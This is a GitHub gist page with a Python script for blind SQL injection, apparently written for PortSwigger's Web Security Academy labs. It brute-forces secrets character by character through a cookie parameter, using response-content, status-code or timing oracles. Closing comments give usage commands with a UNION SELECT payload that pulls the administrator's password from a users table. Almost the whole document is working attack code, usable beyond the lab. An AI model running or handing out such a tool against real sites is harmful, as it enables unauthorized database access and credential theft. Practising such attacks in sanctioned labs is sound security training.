-
-
Save NyaMeeEain/45975635b027146984ca6b6b6396edec to your computer and use it in GitHub Desktop.
Scuffed Blind SQL Injection for Burp's Web Sec Academy
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import requests | |
from pathlib import Path | |
from urllib.parse import quote | |
import argparse | |
from string import ascii_lowercase | |
import os | |
from urllib3.exceptions import InsecureRequestWarning | |
# This actually a pretty bad implementation. I wrote it in about an hour. | |
# If ever doing this against a real vuln or a CTF, you'll want to | |
# use a much larger charset and implement binary search. Also, only | |
# cookies are supported as an injection target | |
# Improvements: | |
# Support different locations (query, form) | |
# Support auxiliary data (form, query, additional cookies, headers) | |
# Support other method types | |
# Binary search (requires more intelligence than just a template) | |
#CHARSET= str(ascii_lowercase) + "".join([str(x.upper()) for x in str(ascii_lowercase)]) + "".join([str(x) for x in range(0,10)]) | |
CHARSET= str(ascii_lowercase) + "".join([str(x) for x in range(0,10)]) | |
DEBUG = False | |
PROXY_URL = "" | |
def debug(msg): | |
global DEBUG | |
if DEBUG: | |
print(msg) | |
def _get(*args, **kwargs): | |
global PROXY_URL | |
if PROXY_URL: | |
kwargs["proxies"] = {"http": PROXY_URL, "https": PROXY_URL} | |
kwargs["verify"] = False | |
return requests.get(*args, **kwargs) | |
def send(url, payload, name,location): | |
cookies = {} | |
if location.lower() == "cookie": | |
cookies[name] = payload | |
return _get(url, cookies=cookies) | |
def matches(match, match_type, r): | |
if match_type == "contains": | |
return match in str(r.text) | |
elif match_type == "status": | |
return r.status_code == int(match) | |
elif match_type == "missing": | |
return match not in str(r.text) | |
elif match_type == "elapsed": | |
return r.elapsed.total_seconds() >= int(match) and r.elapsed.total_seconds() < (3 * int(match)) | |
raise Exception(f"Invalid match type: {match_type}") | |
def run(url, sql, name, location, match, match_type, max_loops, append_char, current="", counter=1): | |
debug(f"[-] Iteration Start: {current}") | |
for c in CHARSET: | |
if append_char: | |
candidate = current + c | |
else: | |
candidate = c | |
payload = sql.replace("INJECT", candidate) | |
payload = payload.replace("COUNTER", str(counter)) | |
debug(f"[-] Payload: {payload}") | |
r = send(url, payload, name, location) | |
debug(f"[-] Status: {r.status_code}") | |
debug(f"[-] Length: {len(r.content)}") | |
debug(f"[-] Elapsed: {r.elapsed.total_seconds()}") | |
debug("") | |
if matches(match, match_type, r): | |
current = current + c | |
print(f"[*] Found: {candidate}") | |
print(f"[*] Current: {current}") | |
debug("") | |
counter = counter + 1 | |
return run(url, sql, name, location, match, match_type, max_loops, append_char, current=current, counter=counter) | |
else: | |
print("[-] Exhaushted charset") | |
return current | |
if __name__ == "__main__": | |
parser = argparse.ArgumentParser() | |
parser.add_argument("-s", "--sql", help="sql template with INJECT keyword and COUNTER keywords (can also be a file like --sql payload.txt)", required=True) | |
parser.add_argument("-e", "--urlencode", action="store_true", help="perform urlencoding of sql template (use with unencoded SQL templates)") | |
parser.add_argument("-m", "--match", help="oracle to match on", required=True) | |
parser.add_argument("-M", "--match-type", help="type to match on (very naive, no regex)", default="contains", choices=["contains", "status", "missing", "elapsed"]) | |
# max loops doesn't do anything | |
parser.add_argument("--max-loops", default=20, type=int, help="oracle to match on") | |
parser.add_argument("-u", "--url", help="url", required=True) | |
parser.add_argument("-l", "--location", help="location type", choices=["cookie"], required=True) | |
parser.add_argument("-n", "--name", help="location name", required=True) | |
parser.add_argument("-d", "--debug", action="store_true") | |
parser.add_argument("-a", "--append-char", action="store_true", help="append char candidate to previously found value") | |
parser.add_argument("-p", "--proxy-url") | |
args = parser.parse_args() | |
if args.debug: | |
DEBUG = True | |
if args.proxy_url: | |
PROXY_URL = args.proxy_url | |
requests.packages.urllib3.disable_warnings(category=InsecureRequestWarning) | |
sql = args.sql | |
if Path(sql).exists() and Path(sql).is_file(): | |
sql = Path(sql).read_text().strip() | |
if args.urlencode: | |
sql = quote(sql) | |
print("Answer:", run(args.url, sql, args.name, args.location, args.match, args.match_type, args.max_loops, args.append_char)) | |
## python3 brute.py -s "x'+UNION+SELECT+'a'+FROM+users+WHERE+username%3d'administrator'+AND+substring(password,COUNTER,1)='INJECT'+--+-" -n SomeCookie -m 'Welcome' -l cookie -u https://sometarget.web-security-academy.net -d | |
## python3 brute.py -s "$SQL" -n SomeCookie -l cookie -u $URL -p http://127.0.0.1:8080 -M elapsed -m 5 -d | |
## python3 brute.py -s "$SQL" -n SomeCookie -l cookie -u $URL -p http://127.0.0.1:8080 -M status -m 500 -d |
Sign up for free
to join this conversation on GitHub.
Already have an account?
Sign in to comment